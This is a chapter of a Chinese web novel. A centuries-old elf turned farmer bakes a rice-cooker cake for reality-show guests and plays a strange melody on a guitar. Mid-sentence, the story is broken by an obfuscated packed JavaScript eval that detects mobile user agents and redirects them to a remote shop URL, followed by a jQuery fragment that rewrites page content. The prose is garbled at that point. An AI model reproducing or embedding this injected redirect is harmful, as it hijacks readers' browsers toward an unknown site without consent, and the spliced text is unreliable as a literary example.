四点半天还黑着，陆清槐就醒了。
不是没睡好——八百年了，他每天到这个点自然醒。他在床上坐了一会儿，摸过床头柜上那张皱巴巴的纸，又看了一遍林野手写的电饭煲蛋糕配方。
字丑得像虫爬。有些字他不认识，就用指甲在旁边划一道，打算天亮了问林野。
看到第三遍，他把纸折好揣进兜里，起床去菜地拔了两棵生菜、三根白萝卜，又揪了几把小葱和小白菜，拿稻草捆成两捆，往陈伯家走。
陈伯的房子在土路对面几十步，院子里种着草药，老远就闻见熬药的苦味。陈伯已经起了，蹲在院子里捆艾草，看见他来了，头也没抬："这么早？"
"野葱。"
"门把手上挂着呢。"陈伯捆完手里那把，拍了拍手上的草屑，瞅了一眼他拎的两捆菜，"哟，今天大方。"
"你灶房不是空着。"
"我那是懒得种。"陈伯接过菜翻了翻，掰了一片生菜叶嚼了嚼，"嗯，比上回的甜。"他从门把手上取下野葱塞陆清槐手里——已经择干净了，用红绳捆着。又从屋里拎出一兜东西：半兜鸡蛋，一小袋白糖，一瓶蜂蜜。
"你拿这些干嘛？"
"你不是要做那个什么糕？"
"蛋糕。"
"我管你什么糕，鸡蛋多放两个香。"陈伯挥挥手，"去吧去吧，做好了给我端两块过来。"
陆清槐拎着两兜东西往回走，天边刚翻出一点白。
回到院子，嘉宾们还没起。
周建国的房门敞着，鼾声隔着三十米都能听见。沈眉的窗户开了一条缝，传出轻轻的吉他声——她起得也早，在调弦。三个小辈的屋子黑着，没动静。
陆清槐进了灶屋，把东西搁在案板上，最后看了一遍配方。
林野的字：
四个蛋，蛋清蛋黄分开。蛋白加糖打打打打打打到筷子插进去不倒。蛋黄+面粉+油+奶拌成糊。混一起。电饭煲按蛋糕。完事。
他盯着"打打打打打打"看了五秒，把纸翻过来。背面还有一行小字：** 对了锅要刷油不然倒不出来别怪我没提醒你。**
先分蛋。
他从陈伯给的兜里掏出鸡蛋，在碗沿上磕了一下——没磕动。又磕了一下，蛋壳裂了条缝，他顺着缝掰开，蛋黄掉进一个碗，蛋清滑进另一个碗。挺顺利。
四个蛋分好，一个蛋壳没碎，一点蛋黄没混进蛋白里。
然后是打蛋白。
林野说要打到筷子插进去不倒，至少十五分钟。陆清槐看了看手里的竹筷子，又看了看那碗透明的蛋清，开始打。
筷子在碗里搅出一圈圈白色的泡沫，越打越稠。他手腕的速度很快，而且很稳，不像在打蛋，像在做一件他已经做了八百年的事——如果精灵王庭的精灵们看到灵植师用八百年的手腕控制力来打鸡蛋，大概会集体沉默。
两分钟后，他拎起筷子。
筷子直挺挺地插在蛋白霜里，纹丝不动。
他歪了歪头，用指尖碰了碰蛋白表面——软的，弹的，像雪，又像云。
"这就好了？"他自言自语。
林野说十五分钟。他用了两分钟。
大概是筷子比较好使。
蛋黄糊简单。面粉、玉米油、牛奶、糖倒在一起搅，有几个小面团搅不开，他拿筷子头一个个压碎了。陈伯给的蜂蜜他犹豫了一下，舀了小半勺加进去——不知道为什么要加，但陈伯给的东西总不会错。
然后把蛋白霜分两次拌进蛋黄糊里。林野的配方上写了"翻拌，不能画圈，会消泡"。他虽然不懂"消泡"是什么，但照着做了，动作又轻又快。
电饭煲内胆刷了一层油，把面糊倒进去，震了两下震出气泡，盖上盖子，按下"蛋糕"键。
面板跳出来"0:45"。
四十五分钟。
他搬了个小板凳坐在灶屋门口，等。
大黄踱过来趴在他脚边。他低头看它："要等三刻钟。"
大黄打了个哈欠。
最先被香味弄醒的是陶陶。
她揉着眼睛走出厢房，鼻子先动了——空气里飘着一股甜的、暖的、带着奶味的香气，从灶屋方向飘过来。她顺着香味走到灶屋门口，看见陆清槐蹲在电饭煲前面，像在守一颗正在孵化的蛋。
"清槐哥哥，你在做什么？"
"蛋糕。"
"蛋——糕？"陶陶的眼睛一下子亮了，"你会做蛋糕？"
"在做。第一次。"
"好香啊……"陶陶蹲到他旁边，跟他一起盯着电饭煲，像两只等食的小动物。
香味越来越浓。方驰穿着拖鞋"啪嗒啪嗒"走过来，头发翘得像鸡窝："什么东西这么香？"
"清槐哥哥在做蛋糕！"
"电饭煲还能做蛋糕？"方驰精神了，凑过来看。
"能。"
"能成功吗？"
陆清槐没回答，因为电饭煲"嘀"了一声。
四十五分钟到了。
他掀开盖子。
一股白汽涌出来，带着浓得化不开的甜香。等汽散了，三个人六只眼睛盯着锅里——圆滚滚的、金黄色的蛋糕顶在那儿，表面微微开裂，看着挺像那么回事。
他把内胆端出来，往案板上一扣。
蛋糕"噗"地落下来。
然后中间塌了一小块。
不严重，就是正中间凹下去一个浅坑，像被人按了一指头。底部还有点湿，黏在案板上扯了一下。
方驰"嘶"了一声："这是……"
"塌了。"陆清槐说。
他看了看那个凹坑，又看了看手里的内胆，没说话。他不知道蛋糕出炉要倒扣架空放凉，热气焖在里面把底部浸湿了，中心支撑不住就塌了。这些林野的配方上没写。
"能吃吗？"陶陶小声问。
"能。"
他拿刀切了一块——里面熟了，组织细密，只是底部稍微有点湿。他把那块递给陶陶。
陶陶接过来咬了一口。
她嚼了两下，不说话了。
"怎么了？"方驰急了，"难吃？"
陶陶摇头，嘴里塞满蛋糕说不出话，嚼着嚼着眼睛亮了，伸手又切了第二块。
方驰将信将疑地抢了一块塞嘴里，嚼了两下，表情变了。
"不是，"他含糊不清地说，"塌了都这么好吃？"
"嗯。"
"你管这叫第一次？"
陈伯背着手出现在灶屋门口，一脸"我就知道"的表情。
"陈伯你怎么来了？"
"甜香味飘我那院子去了，"陈伯走过来，毫不客气地拿了一块，咬了一口，眯起眼睛，"嗯——比上回那个甜得齁嗓子的强。不腻。"
"陈伯你也吃过蛋糕？"方驰惊讶。
"去年我孙女生日，镇上买的，甜得我喝了三杯水。"陈伯又咬了一口，"这个好。就是中间凹了点，不碍事。"
消息传得比锅盖上的蒸汽还快。
沈眉过来了，周建国过来了，连江苓都顶着一头乱发从屋里冲出来。几个人围着案板你一块我一块，中间那个凹坑反倒成了最抢手的位置——方驰说凹进去的地方奶油积得多，虽然蛋糕里压根没有奶油。
江苓拿着蛋糕边吃边拍，忽然想起什么："房东，你有微博吗？我@你。"
"没有。"
"抖音呢？"
"没有。"
"小红书？"
"没有。"
江苓看向方驰，方驰看向陶陶，三个人面面相觑。
"那你手机上有什么？"江苓问。
陆清槐想了想："电话，消息，还有一个消消乐。"
"你玩消消乐？"方驰惊了。
"林野上礼拜给我装的，"他顿了顿，"第一百二十七关卡了三天。"
方驰和江苓同时笑出了声。陶陶举着小手，嘴里还叼着蛋糕："我帮你过！我可厉害了！"
"先吃饭，"沈眉拍了拍手，"都去洗漱，早饭还有半小时。"
人群散了。方驰走了两步又回来，又拿了一块蛋糕，冲陆清槐竖了个大拇指，嘟囔了一句什么，听不清，但大概是夸人的话。
灶屋里只剩陆清槐和陈伯。
"中间塌了。"陆清槐看着案板上剩下的蛋糕，又说了一遍。
"塌了怎么了，"陈伯嚼着蛋糕，"好吃就行。你头一回做，还想做出花来？"
"嗯。"
"那个什么消消乐，"陈伯压低声音，"别老玩，费眼睛。"
"嗯。"
陈伯走了。陆清槐低头看案板——蛋糕已经被抢得只剩碎渣了，中间凹着的地方被方驰挖走了最大一块，边上还掉了点蛋糕屑。他拈起一块碎的塞进嘴里。
甜的。软的。入口有蛋香和奶香，咽下去之后舌根泛着一点蜂蜜的花味——他加了小半勺陈伯给的蜂蜜。
像云。破了一块的云。
林野说对了。确实像云。只不过他现在知道云是什么味道了——是甜的，暖的，咬下去会弹回来。
他把最后一口塞进嘴里，拍了拍手上的蛋糕屑，站起来。
菜地里的番茄该绑蔓了，陈伯的野葱还没种下去，电饭煲的内胆还没洗。
他卷起袖子。
上午，沈眉把吉他搬到菜地里弹，坐在田埂上对着满山的绿。方驰继续跟灌溉皮管较劲，周建国在旁边指导，爷俩吵吵嚷嚷的。陶陶蹲在水池边洗碗，江苓在旁边帮她擦——经过昨天，两个姑娘已经混熟了。
陆清槐蹲在番茄架旁边绑蔓，手上缠着草绳，耳朵听着吉他声。
弹的还是昨天那首歌。
他绑完一棵，站起来换另一棵的时候，手指在草绳上无声地按
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916292|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了几个位置——像在按弦。
沈眉看见了，停下来，手指搭在弦上，冲他招手："别在绳子上比画了，过来。"
陆清槐看了她一眼，放下草绳走过去。
"坐。"沈眉往旁边挪了挪，给他在田埂上腾出个位置，把吉他递过去，"会抱吗？"
他接过来，琴身往腿上一搁，姿势居然没错——昨天他看她弹了一下午。
"左手这么按，"沈眉掰了掰他的手指，"对，虎口贴住琴颈，别攥着。右手用指腹拨弦，不是抠。"
他拨了一下。弦嗡的一声，音不准。
沈眉帮他调了调弦："昨天那首歌，你试试？我弹旋律你听着，能跟就跟。"
她弹了一遍前奏。陆清槐听着，左手在弦上找位置，磕磕绊绊地跟了几个音——弦比草绳硬，间距也不一样，有两个音按偏了，出来闷闷的。沈眉也不催，弹完一段就停下来等他，他找着了，她再接着往下弹。
两三遍之后，他能把整首歌的旋律顺下来了。慢，偶尔劈一个音，但调子是对的。
"可以啊，"沈眉有点意外，"音准很好，你以前——"
她话没说完。
陆清槐的手自己动了。
不是那首歌。
弦上出来的旋律很慢，音和音之间拉得很开，不像沈眉听过的任何一首曲子。没有歌词，没有主歌副歌，就是一串音符往下走，走几步停一下，再走，像水从石头缝里渗出来，顺着岩壁淌，汇成一股细流，又跌下一个小坎。调子是五声的底子但拐了几个别的音，拐得毫无道理，可听着不别扭——像风穿过一片很老很老的树林，叶子自己在响，没有人在弹。
方驰手里的皮管垂下去了。水灌进他鞋里，他低头看了一眼，没动。
周建国举着指导的手停在半空，嘴张着，半天才合上。
陶陶摞碗的手停了，江苓手里的抹布搭在碗沿上，两个人都没说话。
大黄不追蝴蝶了，蹲在田埂上，脑袋歪着，耳朵竖起来。
沈眉的手指攥住了衣角。
她唱了三十年歌，弹了二十年吉他。她在维也纳金色大厅唱过，在国家大剧院唱过，她听过最好的演奏家弹过最好的曲子。但她没听过这样的东西。
不是技术。技术很生，左手按弦的姿势都不太对，有一个音还弹劈了，发出一声闷响。
是那个旋律。
像从地底下长出来的。
弹了大概两三分钟，陆清槐的手停了。
他低头看了看吉他，像在想什么事情，然后把琴递还给沈眉。
田埂上安静了几秒。
"这是什么曲子？"沈眉接过来，声音比平时低。
"一个老调子。"
"哪儿的老调子？"
"山里的。"
沈眉看着他。他也看着她，表情很平，像在说今天天气不错。她张了张嘴，又闭上了。弹了二十年琴，她知道什么时候该问，什么时候不该。
"好听。"最后她说。
"嗯。"
方驰这时候"嗷"了一声——水灌满了他的鞋，袜子全湿了。周建国骂了他一句，江苓笑出了声，陶陶赶紧去拧水龙头。田埂上又活过来了。
陆清槐站起来，拍拍裤子上的土，回番茄架旁边接着绑蔓。
沈眉抱着吉他坐在田埂上，没再弹。她低头看着自己的手指，又看了一眼陆清槐的背影，嘴唇动了动，没说出话来。
苏晚站在监视器后面。
她把刚才那一段完整地看下来了。摄像师小陈的镜头一直没切，推了个中景，画面稳得像三脚架——其实是扛在肩上拍的，苏晚看见小陈的手在抖。
她拿出手机，点开老周的对话框，打了几个字又删了。最后把刚才拍到的那段吉他视频发了过去。
十秒后，老周回了一个字："？"
"沈眉教了他五分钟，"苏晚打字，"然后他自己弹的。"
"谁写的曲子？"
"没人听过。他说山里的老调子。"
那边沉默了半分钟。苏晚也没催，把手机揣回兜里，继续看监视器。
手机震了。
"合约到哪一步了。"
"在走流程。"
"让法务今晚加班。"
她抬头看了一眼菜地里的陆清槐——他正蹲在地上，陶陶举着手机凑到他面前，在给他演示消消乐怎么过关，两个人脑袋挨在一起，他看得很认真，嘴角好像动了一下。
阳光从槐树叶子里漏下来，落在他侧脸上。他低着头看手机屏幕，睫毛在颧骨上投了一小片影子，鼻梁的线条被光勾出来，干净得不像蹲在泥地里种菜的人。手指上还沾着草绳碎屑，搭在膝盖上，指尖有一点没洗干净的泥。
沈眉说过一句，说他这张脸要是放在剧组，化妆都得省一半。苏晚当时没接话，现在想起来，倒也不算夸张。